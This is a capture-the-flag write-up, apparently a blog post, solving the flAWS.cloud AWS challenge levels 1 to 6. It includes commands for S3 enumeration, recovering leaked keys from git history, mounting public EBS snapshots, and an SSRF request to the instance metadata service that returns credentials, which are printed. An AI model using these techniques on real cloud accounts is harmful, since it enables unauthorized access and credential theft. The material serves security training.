All Computers Are Broken


flAWS.cloud

Level 1

Description

This level is buckets of fun. See if you can find the first sub-domain.

Solution

The description of the level is quite indicative. To advance to the next level, I have to find a bucket that probably contains information on how to get to the next level.

Using s3scanner I can enumerate a bucket. Luckily, this bucket allows everyone to access its content.

$ s3scanner -bucket flaws.cloud
INFO exists    | flaws.cloud | us-west-2 | AuthUsers: [] | AllUsers: [READ]

After logging in to the AWS cli, I am able to list and download the bucket content.

$ aws --region us-east-2 s3 ls flaws.cloud
2017-03-14 04:00:38       2575 hint1.html
2017-03-03 05:05:17       1707 hint2.html
2017-03-03 05:05:11       1101 hint3.html
2024-02-22 03:32:41       2861 index.html
2018-07-10 18:47:16      15979 logo.png
2017-02-27 02:59:28         46 robots.txt
2017-02-27 02:59:30       1051 secret-dd02c7c.html

$ aws --region us-east-2 s3 cp s3://flaws.cloud/secret-dd02c7c.html secret-dd02c7c.html
download: s3://flaws.cloud/secret-dd02c7c.html to ./secret-dd02c7c.html

To enter the next level, the following URL can be used. http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/

Level 2

Description

The next level is fairly similar, with a slight twist. You’re going to need your own AWS account for this. You just need the free tier.

Solution

The web page for level 2 is hosted on s3 as well but from a different bucket. The bucket has the same name as the domain of the website.

$ aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/
2017-02-27 03:02:15      80751 everyone.png
2017-03-03 04:47:17       1433 hint1.html
2017-02-27 03:04:39       1035 hint2.html
2017-02-27 03:02:14       2786 index.html
2017-02-27 03:02:14         26 robots.txt
2017-02-27 03:02:15       1051 secret-e4443fc.html

$ aws s3 cp s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html .
download: s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html to ./secret-e4443fc.html

To enter the next level, the following URL can be used.

Level 3

Description

The next level is fairly similar, with a slight twist. Time to find your first AWS key! I bet you’ll find something that will let you list what other buckets are.

Solution

Looking again at the bucket of the subdomain reveals that there is a .git directory.

$ aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/
PRE .git/
2017-02-27 01:14:33     123637 authenticated_users.png
2017-02-27 01:14:34       1552 hint1.html
2017-02-27 01:14:34       1426 hint2.html
2017-02-27 01:14:35       1247 hint3.html
2017-02-27 01:14:33       1035 hint4.html
2020-05-22 20:21:10       1861 index.html
2017-02-27 01:14:33         26 robots.txt

The repository can be downloaded via the following command

$ aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git .git

Checking the git history yield an interesting commit message.

$ git log
commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master)
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:43 2017 -0600

Oops, accidentally added something I shouldn't have

commit f52ec03b227ea6094b04e43f475fb0126edb5a61
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:07 2017 -0600

    first commit

Diffing the changes since the initial commit gives me access keys.

$ git diff f52ec03
diff --git a/access_keys.txt b/access_keys.txt
deleted file mode 100644
index e3ae6dd..0000000
--- a/access_keys.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-access_key AKIAJ366LIPB4IJKT7SA
-secret_access_key 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

Once the access keys are set as environment variables, I am able to list all buckets to which the access keys have access to.

$ export AWS_ACCESS_KEY_ID=AKIAJ366LIPB4IJKT7SA
$ export AWS_SECRET_ACCESS_KEY=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
$ aws s3 ls
2020-06-25 19:43:56 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2020-06-27 01:06:07 config-bucket-975426262029
2020-06-27 12:46:15 flaws-logs
2020-06-27 12:46:15 flaws.cloud
2020-06-27 17:27:14 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2020-06-27 17:27:14 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2020-06-27 17:27:14 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2020-06-27 17:27:15 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2020-06-27 17:27:15 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2020-06-28 04:29:47 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud

This reveals the domain of the next level. http://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud

Level 4

Description

For the next level, you need to get access to the web page running on an EC2 at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud It’ll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.

Solution

Knowing an s3 bucket which we can access, it is possible to enumerate the account-id of the owner account. As I can retrieve a file listing from the bucket and can download files, I assume I have the required rights to enumerate the account id via s3. The required rights are s3:GetObject and s3.ListBucket

$ s3-account-search arn:aws:iam::<ATTACKER_ACCOUNT_ID>:role/s3-searcher flaws.cloud
Starting search (this can take a while)
[...]
975426262029

The challenge description indicates that the challenge is probably about some sort of snapshots. EBS snapshots can be made public intentionally or by accident. By using pacu it is possible to enumerate publicly available EBS snapshots.

Pacu (level4:from_default-<REDACTED>) > run ebs__enum_snapshots_unauth --account-id 975426262029
  Running module ebs__enum_snapshots_unauth...
[ebs__enum_snapshots_unauth] Starting region ap-northeast-1...
[ebs__enum_snapshots_unauth] Starting region ap-northeast-3...
[ebs__enum_snapshots_unauth] Starting region ap-south-1...
[ebs__enum_snapshots_unauth] Starting region ap-southeast-2...
[ebs__enum_snapshots_unauth] Starting region eu-north-1...
[ebs__enum_snapshots_unauth] Starting region eu-west-2...
[ebs__enum_snapshots_unauth] Starting region eu-west-3...
[ebs__enum_snapshots_unauth] Starting region me-central-1...
    FAILURE:
    AuthFailure
[ebs__enum_snapshots_unauth] Starting region sa-east-1...
[ebs__enum_snapshots_unauth] Starting region us-gov-west-1...
    FAILURE:
    AuthFailure
[ebs__enum_snapshots_unauth] Starting region af-south-1...
    FAILURE:
    AuthFailure
[ebs__enum_snapshots_unauth] Starting region ap-northeast-2...
[ebs__enum_snapshots_unauth] Starting region ap-south-2...
    FAILURE:
    AuthFailure
[ebs__enum_snapshots_unauth] Starting region ap-southeast-4...
    FAILURE:
    AuthFailure
[ebs__enum_snapshots_unauth] Starting region eu-south-1...
    FAILURE:
    AuthFailure
[ebs__enum_snapshots_unauth] Starting region il-central-1...
    FAILURE:
    AuthFailure
[ebs__enum_snapshots_unauth] Starting region us-east-1...
[ebs__enum_snapshots_unauth] Starting region us-east-2...
[ebs__enum_snapshots_unauth] Starting region us-gov-east-1...
    FAILURE:
    AuthFailure
[ebs__enum_snapshots_unauth] Starting region us-west-2...
[ebs__enum_snapshots_unauth] [+] Snapshot found: snap-0b49342abd1bdcb89
[ebs__enum_snapshots_unauth] Starting region ap-east-1...
    FAILURE:
    AuthFailure
[ebs__enum_snapshots_unauth] Starting region ap-southeast-1...
[ebs__enum_snapshots_unauth] Starting region ap-southeast-3...
    FAILURE:
    AuthFailure
[ebs__enum_snapshots_unauth] Starting region ca-central-1...
[ebs__enum_snapshots_unauth] Starting region ca-west-1...
    FAILURE:
    AuthFailure
[ebs__enum_snapshots_unauth] Starting region cn-north-1...
    FAILURE:
    AuthFailure
[ebs__enum_snapshots_unauth] Starting region eu-central-2...
    FAILURE:
    AuthFailure
[ebs__enum_snapshots_unauth] Starting region eu-south-2...
    FAILURE:
    AuthFailure
[ebs__enum_snapshots_unauth] Starting region eu-west-1...
[ebs__enum_snapshots_unauth] Starting region me-south-1...
    FAILURE:
    AuthFailure
[ebs__enum_snapshots_unauth] Starting region cn-northwest-1...
    FAILURE:
    AuthFailure
[ebs__enum_snapshots_unauth] Starting region eu-central-1...
[ebs__enum_snapshots_unauth] Starting region us-west-1...
[ebs__enum_snapshots_unauth] ebs__enum_snapshots_unauth completed.

[ebs__enum_snapshots_unauth] MODULE SUMMARY:

  1 EBS Snapshots found
    Keyword/AccountId: 975426262029, SnapshotId: snap-0b49342abd1bdcb89, Region: us-west-2, Description: , OwnerId: 975426262029, Encrypted: False

This snapshot most likely will contain information to advance to the next level. To access the content of the snapshot an EC2 instance is required. Prior to running an EC2 instance a VPC, Subnet etc. is required. Since an AMI is also required for launching an instance, I have to get the ID of an AMI. In this case I want the image to be from Canonical (owner id 099720109477).

$ AMI=$(aws ec2 describe-images \
            --filters 'Name=name,Values=ubuntu/images/hvm-ssd/ubuntu-jammy-22.04-amd64-server-*' \
            --owners  099720109477 \
            --query 'Images[*].[ImageId,CreationDate]'  \
            --region us-east-2 \
            --output text | sort -k2 -r | head -n1 | awk '{ print $1 }')

Next, I need a mapping configuration to specify that the snapshot should be mapped to the instance.

cat << EOF > ./mappings.json
[
    {
        "DeviceName": "/dev/sdh",
        "Ebs": {
            "SnapshotId": "$SnapshotId"
        }
    }
]
EOF

Now I can start an instance.

aws ec2 run-instances --image-id $AMI \
    --region us-east-2 \
    --count 1 \
    --instance-type t2.micro \
    --key-name attacker-key \
    --security-group-ids sg-05645b3911c6da110\
    --subnet-id  subnet-09dfb4f4e2e3e2de3\
    --block-device-mappings file://./mappings.json

Once the instance is started, I query its public IP.

export EC2IP=$(aws ec2 describe-instances \
                  --query 'Reservations[].Instances[]' \
                  --region us-east-2  | jq -r '.[] | select(.State.Name=="running") | select(.KeyName=="attacker-key") | .PublicIpAddress')

With this IP, I am able to login to the instance via ssh where I can mount the snapshot.

ssh -i ./attacker-key.pem ubuntu@$EC2IP
ubuntu@ip-10-1-0-136:~$ lsblk
NAME     MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
loop0      7:0    0 25.2M  1 loop /snap/amazon-ssm-agent/7993
loop1      7:1    0 55.7M  1 loop /snap/core18/2823
loop2      7:2    0 63.9M  1 loop /snap/core20/2318
loop3      7:3    0   87M  1 loop /snap/lxd/28373
loop4      7:4    0 38.8M  1 loop /snap/snapd/21759
xvda     202:0    0    8G  0 disk
├─xvda1  202:1    0  7.9G  0 part /
├─xvda14 202:14   0    4M  0 part
└─xvda15 202:15   0  106M  0 part /boot/efi
xvdh     202:112  0    1G  0 disk

ubuntu@ip-10-1-0-136:~$ sudo mount /dev/xvdh /mnt
ubuntu@ip-10-1-0-136:~$ ls /mnt/
bin  boot  dev  etc  home  lib  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

The snapshot contains a Linux file system. Within the home folder of the user ubuntu there is a bash script named setupNginx.sh. This contains the username and password to advance to the next level.

root@ip-10-1-0-194:/# cat home/ubuntu/setupNginx.sh
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M

To enter the next level, the following URL can be used. http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/

Level 5

Description

This EC2 has a simple HTTP only proxy on it. Here are some examples of it’s usage:

See if you can use this proxy to figure out how to list the contents of the level6 bucket at level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud that has a hidden directory in it.

Solution

The description is quite indicative. There is a proxy service running on level 5 and it simply requests the URL passed after the path /proxy. This way it is possible to reach the instance meta data service to request temporary credentials that are assigned to the instance.

$ curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
{
  "Code" : "Success",
  "LastUpdated" : "2024-06-20T17:40:05Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA6GG7PSQGSG5NAI4F",
  "SecretAccessKey" : "9YskhN8VPvF7KfukEQ0kgKIbt/tl5anPietvu8sz",
  "Token" : "IQoJb3JpZ2luX2VjEKL//////////wEaCXVzLXdlc3QtMiJGMEQCIEWyBlPALHoPiN7ebq4R89L6bnyqJPvNa6D97Eh3VbvrAiAHtaqAx6OwqvmCsj6b+aq7ZCNBGHttWDNQF5pofUXGFyqyBQhLEAQaDDk3NTQyNjI2MjAyOSIMRfoQ34Betnz/3TcQKo8FulOX7gDbg7WWaytXvnsfrUSNkh1qaQo+PrDHP+0VZCu95VxajX7J3kjyWn0t7MlfLSxRletrBQ0zFln/K7rv2Bzol6iLJzU7zlwCSfFxvgWFexiEHaP3sGEhaJgXYEZQaJ8+ZabMwk28bQpPKgjysfXWTkc9tHMP8rb0L+BxSY/3A1tdTt5rBMpPI4closL0pQq3ezvG7qh7FRst8I4ZLFKd8MQuKhBSlnN0BOCvxG8hQ8QPkYdO3E4oB307Vva1Bd+iak9OLpBZ6dBd/mzXngCmQd5tf1fnkIHNSDd/WJ7HYdmi01SWCHlDJN3t3F14gxQx7bDPi6D7TfuCpuyCQUJIQ9xzyiNt3AfaEpqvdSI7gig/UNeUBcvRZa/aJmBQpbHQ9W6WxCjO3egeJyBN4tufQyH26S0epSuECvINKCrXA70ZB8nbB8VzaAS6xb5PfsDDi6T4dLIwwfCSKAhOGotG9QC0YfAjU9/jg6JJ3T9q0eEjd6DU44VAhwFbmyeGfD/YWIEhHEOyESsowj4m9I3b+kLUMykKH1r3fhbUelLEYHN870WDyBi24KkboklABamdClP5KgDFDjahyWBJVW+jyXwi0G6JVQE263jr4kaJCAohyfs30wpjyTb9vadeWXVFvb1z5Ofh8HkdE/bsFPbEx3WID0tkCH5YINEU0zM8w8oR9zz0q5nvSV76Vmys8TdZJadaDf4rh73Yjpk6WA6QI5ifZ3AO1xdjFJWq4uOfGGg9amBx/+Ncy2MDInXwosYVnQVfK0swm75sgzLMMhPyb21adqtlQDSeFaawD35KifKoHTpVws29GRYQbNW9ntUl5Ri7+5AY09EfNRi5Ht83irSdS2ACUBEo6l/4tjDl0tGzBjqyAa03OSLLlB3BM3GpZk+FFCX5YMFXwKtTdo8ic5zzVP1sbuhF1N3JGwKRw3P1KDJSA33c4OztxXcpWxleoOEJOX5rY5q8ZVphJml80X799TzMa9E1n+pbTyTOFQZQP0dxzf+rt9scZ0DwYRFwOgdTCVB/Uai3pIcY9Q+kW07H0OwVR1uJO02VshEgtiCscd+vsCa3ALBxAAh9ZjBxQxRC4QMWrUYsREG5uFInXixdbninTsk=",
  "Expiration" : "2024-06-21T00:04:44Z"
}

The next step is to set the respective variable to be able to interact with the AWS API.

$ export AWS_ACCESS_KEY_ID=ASIA6GG7PSQGSG5NAI4F

$ export AWS_SECRET_ACCESS_KEY=9YskhN8VPvF7KfukEQ0kgKIbt/tl5anPietvu8sz

$ export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEKL//////////wEaCXVzLXdlc3QtMiJGMEQCIEWyBlPALHoPiN7ebq4R89L6bnyqJPvNa6D97Eh3VbvrAiAHtaqAx6OwqvmCsj6b+aq7ZCNBGHttWDNQF5pofUXGFyqyBQhLEAQaDDk3NTQyNjI2MjAyOSIMRfoQ34Betnz/3TcQKo8FulOX7gDbg7WWaytXvnsfrUSNkh1qaQo+PrDHP+0VZCu95VxajX7J3kjyWn0t7MlfLSxRletrBQ0zFln/K7rv2Bzol6iLJzU7zlwCSfFxvgWFexiEHaP3sGEhaJgXYEZQaJ8+ZabMwk28bQpPKgjysfXWTkc9tHMP8rb0L+BxSY/3A1tdTt5rBMpPI4closL0pQq3ezvG7qh7FRst8I4ZLFKd8MQuKhBSlnN0BOCvxG8hQ8QPkYdO3E4oB307Vva1Bd+iak9OLpBZ6dBd/mzXngCmQd5tf1fnkIHNSDd/WJ7HYdmi01SWCHlDJN3t3F14gxQx7bDPi6D7TfuCpuyCQUJIQ9xzyiNt3AfaEpqvdSI7gig/UNeUBcvRZa/aJmBQpbHQ9W6WxCjO3egeJyBN4tufQyH26S0epSuECvINKCrXA70ZB8nbB8VzaAS6xb5PfsDDi6T4dLIwwfCSKAhOGotG9QC0YfAjU9/jg6JJ3T9q0eEjd6DU44VAhwFbmyeGfD/YWIEhHEOyESsowj4m9I3b+kLUMykKH1r3fhbUelLEYHN870WDyBi24KkboklABamdClP5KgDFDjahyWBJVW+jyXwi0G6JVQE263jr4kaJCAohyfs30wpjyTb9vadeWXVFvb1z5Ofh8HkdE/bsFPbEx3WID0tkCH5YINEU0zM8w8oR9zz0q5nvSV76Vmys8TdZJadaDf4rh73Yjpk6WA6QI5ifZ3AO1xdjFJWq4uOfGGg9amBx/+Ncy2MDInXwosYVnQVfK0swm75sgzLMMhPyb21adqtlQDSeFaawD35KifKoHTpVws29GRYQbNW9ntUl5Ri7+5AY09EfNRi5Ht83irSdS2ACUBEo6l/4tjDl0tGzBjqyAa03OSLLlB3BM3GpZk+FFCX5YMFXwKtTdo8ic5zzVP1sbuhF1N3JGwKRw3P1KDJSA33c4OztxXcpWxleoOEJOX5rY5q8ZVphJml80X799TzMa9E1n+pbTyTOFQZQP0dxzf+rt9scZ0DwYRFwOgdTCVB/Uai3pIcY9Q+kW07H0OwVR1uJO02VshEgtiCscd+vsCa3ALBxAAh9ZjBxQxRC4QMWrUYsREG5uFInXixdbninTsk=

Now I can access the S3 bucket that is listed in the description.

$ aws s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/
2017-03-03 05:36:23       2463 hint1.html
2017-03-03 05:36:23       2080 hint2.html
2020-05-22 20:42:20       2924 index.html

This reveals that level 6 is accessible via the URL https://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/

Level 6

Description

For this final challenge, you’re getting a user access key that has the SecurityAudit policy attached to it. See what else it can do and what else you might find in this AWS account.

  • Access key ID: AKIAJFQ6E7BY57Q3OBGA
  • Secret: S2IpymMBlViDlqcAnFuZfkVjXrYxZYhP+dZ4ps+u

Solution

The challenge description indicates that the user for which credentials where provided may have the AWS managed IAM policy SecurityAudit assigned.

I can enumerate all IAM policies that are currently attached to a user with the following command. As I may have the SecurityAudit policy attached I should have the permissions to do so.

$ aws iam list-attached-user-policies --user-name Level6
{
    "AttachedPolicies": [
        {
            "PolicyName": "MySecurityAudit",
            "PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit"
        },
        {
            "PolicyName": "list_apigateways",
            "PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways"
        }
    ]
}

I can use the aws cli to query more information about each policy object. This shows me that the MySecurityAudit policy is of version v1 and the list_apigateways is of version v4.

$ aws iam get-policy  --policy-arn arn:aws:iam::975426262029:policy/MySecurityAudit
{
    "Policy": {
        "PolicyName": "MySecurityAudit",
        "PolicyId": "ANPAJCK5AS3ZZEILYYVC6",
        "Arn": "arn:aws:iam::975426262029:policy/MySecurityAudit",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "Most of the security audit capabilities",
        "CreateDate": "2019-03-03T16:42:45+00:00",
        "UpdateDate": "2019-03-03T16:42:45+00:00",
        "Tags": []
    }
}
$ aws iam get-policy  --policy-arn arn:aws:iam::975426262029:policy/list_apigateways
{
    "Policy": {
        "PolicyName": "list_apigateways",
        "PolicyId": "ANPAIRLWTQMGKCSPGTAIO",
        "Arn": "arn:aws:iam::975426262029:policy/list_apigateways",
        "Path": "/",
        "DefaultVersionId": "v4",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "List apigateways",
        "CreateDate": "2017-02-20T01:45:17+00:00",
        "UpdateDate": "2017-02-20T01:48:17+00:00",
        "Tags": []
    }
}

Querying the concrete version of the MySecurityAudit policy returns the following.

$ aws iam get-policy-version  --policy-arn arn:aws:iam::975426262029:policy/MySecurityAudit --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Action": [
                        "acm:Describe*",
                        "acm:List*",
                        "application-autoscaling:Describe*",
                        "athena:List*",
                        "autoscaling:Describe*",
                        "batch:DescribeComputeEnvironments",
                        "batch:DescribeJobDefinitions",
                        "clouddirectory:ListDirectories",
                        "cloudformation:DescribeStack*",
                        "cloudformation:GetTemplate",
                        "cloudformation:ListStack*",
                        "cloudformation:GetStackPolicy",
                        "cloudfront:Get*",
                        "cloudfront:List*",
                        "cloudhsm:ListHapgs",
                        "cloudhsm:ListHsms",
                        "cloudhsm:ListLunaClients",
                        "cloudsearch:DescribeDomains",
                        "cloudsearch:DescribeServiceAccessPolicies",
                        "cloudtrail:DescribeTrails",
                        "cloudtrail:GetEventSelectors",
                        "cloudtrail:GetTrailStatus",
                        "cloudtrail:ListTags",
                        "cloudwatch:Describe*",
                        "codebuild:ListProjects",
                        "codedeploy:Batch*",
                        "codedeploy:Get*",
                        "codedeploy:List*",
                        "codepipeline:ListPipelines",
                        "codestar:Describe*",
                        "codestar:List*",
                        "cognito-identity:ListIdentityPools",
                        "cognito-idp:ListUserPools",
                        "cognito-sync:Describe*",
                        "cognito-sync:List*",
                        "datasync:Describe*",
                        "datasync:List*",
                        "dax:Describe*",
                        "dax:ListTags",
                        "directconnect:Describe*",
                        "dms:Describe*",
                        "dms:ListTagsForResource",
                        "ds:DescribeDirectories",
                        "dynamodb:DescribeContinuousBackups",
                        "dynamodb:DescribeGlobalTable",
                        "dynamodb:DescribeTable",
                        "dynamodb:DescribeTimeToLive",
                        "dynamodb:ListBackups",
                        "dynamodb:ListGlobalTables",
                        "dynamodb:ListStreams",
                        "dynamodb:ListTables",
                        "ec2:Describe*",
                        "ecr:DescribeRepositories",
                        "ecr:GetRepositoryPolicy",
                        "ecs:Describe*",
                        "ecs:List*",
                        "eks:DescribeCluster",
                        "eks:ListClusters",
                        "elasticache:Describe*",
                        "elasticbeanstalk:Describe*",
                        "elasticfilesystem:DescribeFileSystems",
                        "elasticloadbalancing:Describe*",
                        "elasticmapreduce:Describe*",
                        "elasticmapreduce:ListClusters",
                        "elasticmapreduce:ListInstances",
                        "es:Describe*",
                        "es:ListDomainNames",
                        "events:DescribeEventBus",
                        "events:ListRules",
                        "firehose:Describe*",
                        "firehose:List*",
                        "fsx:Describe*",
                        "fsx:List*",
                        "gamelift:ListBuilds",
                        "gamelift:ListFleets",
                        "glacier:DescribeVault",
                        "glacier:GetVaultAccessPolicy",
                        "glacier:ListVaults",
                        "globalaccelerator:Describe*",
                        "globalaccelerator:List*",
                        "greengrass:List*",
                        "guardduty:Get*",
                        "guardduty:List*",
                        "iam:GenerateCredentialReport",
                        "iam:Get*",
                        "iam:List*",
                        "iam:SimulateCustomPolicy",
                        "iam:SimulatePrincipalPolicy",
                        "iot:Describe*",
                        "iot:List*",
                        "kinesis:DescribeStream",
                        "kinesis:ListStreams",
                        "kinesis:ListTagsForStream",
                        "kinesisanalytics:ListApplications",
                        "kms:Describe*",
                        "kms:List*",
                        "lambda:GetAccountSettings",
                        "lambda:GetPolicy",
                        "lambda:List*",
                        "license-manager:List*",
                        "logs:Describe*",
                        "logs:ListTagsLogGroup",
                        "machinelearning:DescribeMLModels",
                        "mediaconnect:Describe*",
                        "mediaconnect:List*",
                        "mediastore:GetContainerPolicy",
                        "mediastore:ListContainers",
                        "opsworks-cm:DescribeServers",
                        "organizations:List*",
                        "quicksight:Describe*",
                        "quicksight:List*",
                        "ram:List*",
                        "rds:Describe*",
                        "rds:DownloadDBLogFilePortion",
                        "rds:ListTagsForResource",
                        "redshift:Describe*",
                        "rekognition:Describe*",
                        "rekognition:List*",
                        "robomaker:Describe*",
                        "robomaker:List*",
                        "route53:Get*",
                        "route53:List*",
                        "route53domains:GetDomainDetail",
                        "route53domains:GetOperationDetail",
                        "route53domains:ListDomains",
                        "route53domains:ListOperations",
                        "route53domains:ListTagsForDomain",
                        "route53resolver:List*",
                        "s3:ListAllMyBuckets",
                        "sagemaker:Describe*",
                        "sagemaker:List*",
                        "sdb:DomainMetadata",
                        "sdb:ListDomains",
                        "securityhub:Get*",
                        "securityhub:List*",
                        "serverlessrepo:GetApplicationPolicy",
                        "serverlessrepo:List*",
                        "sqs:GetQueueAttributes",
                        "sqs:ListQueues",
                        "ssm:Describe*",
                        "ssm:ListDocuments",
                        "storagegateway:List*",
                        "tag:GetResources",
                        "tag:GetTagKeys",
                        "transfer:Describe*",
                        "transfer:List*",
                        "translate:List*",
                        "trustedadvisor:Describe*",
                        "waf:ListWebACLs",
                        "waf-regional:ListWebACLs",
                        "workspaces:Describe*"
                    ],
                    "Resource": "*",
                    "Effect": "Allow"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2019-03-03T16:42:45+00:00"
    }
}

This looks much like the regular SecurityAudit policy. So nothing really useful for the moment.

$ aws iam get-policy-version  --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Action": [
                        "apigateway:GET"
                    ],
                    "Effect": "Allow",
                    "Resource": "arn:aws:apigateway:us-west-2::/restapis/*"
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": true,
        "CreateDate": "2017-02-20T01:48:17+00:00"
    }
}

The list_apigateways policy would allow me access to apigateways in the us-west-2 region. However, to query additional information about the api, I need the api ID. The apigateway may be used to call a lambda function. Therefore, I check if I can find any lambda function.

$ aws --region us-west-2 lambda list-functions
{
    "Functions": [
        {
            "FunctionName": "Level6",
            "FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
{
    "Functions": [
        {
            "FunctionName": "Level6",
            "FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
            "Runtime": "python2.7",
            "Role": "arn:aws:iam::975426262029:role/service-role/Level6",
            "Handler": "lambda_function.lambda_handler",
            "CodeSize": 282,
            "Description": "A starter AWS Lambda function.",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2017-02-27T00:24:36.054+0000",
            "CodeSha256": "2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=",
            "Version": "$LATEST",
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "d45cc6d9-f172-4634-8d19-39a20951d979",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            },
            "LoggingConfig": {
                "LogFormat": "Text",
                "LogGroup": "/aws/lambda/Level6"
            }
        }
    ]
}

Luckily there is one lambda function. It is called Level6 so I assume this is the way to advance to the next level. Enumerating the lambda API a bit more reveals that I am allowed to query the resource policy that is attached to the function. Lambda functions, just like s3 buckets can have resource policies assigned to control who can access the resource.

$ aws --region us-west-2 lambda get-policy --function-name Level6 | jq -r .Policy | jq -r
{
    "Version": "2012-10-17",
    "Id": "default",
    "Statement": [
        {
            "Sid": "904610a93f593b76ad66ed6ed82c0a8b",
            "Effect": "Allow",
            "Principal": {
                "Service": "apigateway.amazonaws.com"
            },
            "Action": "lambda:InvokeFunction",
            "Resource": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
            "Condition": {
                "ArnLike": {
                    "AWS:SourceArn": "arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6"
                }
            }
        }
    ]
}

The policy reveals the api id in the Condition statement.

Knowing the api id, I can query apigateway

$ aws --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75"
{
    "item": [
        {
            "deploymentId": "8gppiv",
            "stageName": "Prod",
            "cacheClusterEnabled": false,
            "cacheClusterStatus": "NOT_AVAILABLE",
            "methodSettings": {},
            "tracingEnabled": false,
            "createdDate": "2017-02-27T01:26:08+01:00",
            "lastUpdatedDate": "2017-02-27T01:26:08+01:00"
        }
    ]
}

Knowing the stage allows me to construct the api endpoint https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6

ImprintPrivacy Policy